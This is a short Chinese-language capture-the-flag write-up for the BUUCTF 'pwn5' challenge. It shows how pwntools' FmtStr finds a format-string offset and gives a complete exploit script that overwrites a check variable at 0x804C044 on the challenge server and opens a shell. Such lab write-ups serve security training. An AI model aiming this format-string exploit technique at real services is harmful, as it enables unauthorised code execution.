pwntools自带的偏移函数算法
- 这里以buuctf上的第五空间pwn5作为演示给出一个新的计算方法,可以说是十分便捷,但也不是万能的,应该可以应付大部分题目!
第五空间:pwn5
这里的漏洞十分明显,就是格式化字符串漏洞,它首先会打开一个靶机上的一个随机变化的文件,从中读取4个字节到程序,后来要输入一样的数才能绕过判断,因此这里思路就是控制输入的地址数据为我们自己的,就可以绕过if判断,获得shell。这里给出一个pwntools自带的函数:
def exec_fmt(pad):
p = process("./pwn")
#这里的文件名为程序文件,自己更改
p.send(pad)
#这个pad不用管它输入了什么
return p.recv()
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
这样就可以直接获得偏移量。
直接上exp:下面这个fmtstr_payload也是pwntools自带的函数,具体看我的这篇博客文章
from pwn import*
io=remote('node4.buuoj.cn',26184)
context(os='linux', arch='i386')
def exec_fmt(pad):
p = process("./pwn")
p.send(pad)
return p.recv()
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
payload=fmtstr_payload(fmt.offset,{0x804C044:1})
io.recvuntil('your name:')
io.sendline(payload)
io.recvuntil("your passwd:")
io.sendline(str(1))
io.interactive()
最后获得的界面是这样的: